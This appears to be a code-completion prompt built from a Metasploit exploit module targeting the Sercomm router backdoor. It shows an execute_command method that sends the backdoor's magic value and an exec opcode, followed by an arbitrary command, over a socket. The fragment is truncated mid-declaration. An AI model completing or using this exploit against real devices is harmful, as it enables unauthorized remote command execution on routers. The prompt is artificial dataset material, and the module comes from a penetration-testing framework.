You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sercomm_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/misc
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Ex
    
  def execute_command(cmd, opts)
    # Get the length of the command, for the backdoor's command injection
    cmd_length = cmd.length

    # 0x53634d4d  => Backdoor code
    # 0x07        => Exec command
    # cmd_length  => Length of command to execute, sent after communication struct
    data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)

    connect
    # Send command structure followed by command text
    sock.put(data+cmd)
    disconnect

    Rex.sleep(1)
  end